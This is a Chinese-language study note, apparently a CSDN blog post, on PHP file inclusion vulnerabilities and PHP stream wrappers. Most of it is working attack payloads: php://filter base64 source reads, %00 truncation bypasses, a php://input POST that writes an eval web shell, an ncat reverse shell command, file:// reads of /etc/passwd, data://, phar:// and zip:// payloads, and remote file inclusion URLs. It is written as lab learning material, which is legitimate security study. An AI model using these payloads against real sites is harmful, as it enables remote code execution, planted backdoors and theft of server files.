文件包含漏洞

文件包含漏洞

基本函数

	require():包含文件出错,停止运行
	require_once():包含文件出错,一次运行停止运行
	include():包含文件出错,抛出告警,但继续运行
	include_once():包含文件出错,一次运行抛出告警,但继续运行
	以上函数会在包含文件时,将文件的php代码执行。

PHP伪协议

php://filter

用途:读取文件
攻击方法:base64读取文件源码源码
	参数=php://filter/read=convert.base64-encode/resource=1.txt
一般防御方法:
	将参数拼接时加入固定格式后缀,即:include($_GET['ym'].'.php')
防御绕过:
	1.在php5.3.24版本中可使用%00截断,截断拼接
	2.疯狂加'.',绕过拼接长度

php://input

用途:php://input可接受post数据,并执行,因此可以postphp代码执行
攻击方法:
	1.参数=php://input
	2.更改数据包post,添加<?php phpinfo()?>即可运行
扩展攻击:
	一句话木马写入:
		post包:
		<?php fputs(fopen('input_shell.php','w'),'<?php @eval($_POST[1]);?>')?>
	反弹shell:
		post包:
		system('ncat -e /bin/bash localhost 1234');

data伪协议

攻击方法:
	data://text/plain,<?php phpinfo();?>
	data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+

在实验过程中base64编码无法执行,原因是<?php phpinfo();?>在编成base64的时候出现了+。而浏览器不认识+号。所以解决方法

1.不写后面的?>或者直接删除‘;’ 因为PHP里面其实不需要写后面的 前面的;号就已经说明结束了。如果没有;号就必须写?>作为结束。
2.添加空格改变base64编码。
3.将+号换成%2b

参考链接:

https://blog.csdn.net/qq_46091464/article/details/106665358

file伪协议

用途:读取文件
攻击方法:
	file:///Window/win.ini
	file:///etc/passwd

phar伪协议

用途:读取压缩包
攻击方法:
	参数=phar://phpinfo.zip/phpinfo.txt

zip伪协议

用途:读取压缩包
攻击方法:
	参数=zip://phpinfo.zip%23phpinfo.txt

远程文件包含

http://192.168.47.99:8088/?ym=http://192.168.47.47:7544/1.txt
主机99远程执行主机47的1.txt内容,主机99执行1.txt的php代码。

192.168.47.99:8088/?ym=http://192.168.47.47:7544/1.php
主机99远程获取主机47的执行1.php的内容,主机47执行1.php后的网页源代码,将结果放送给主机99
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值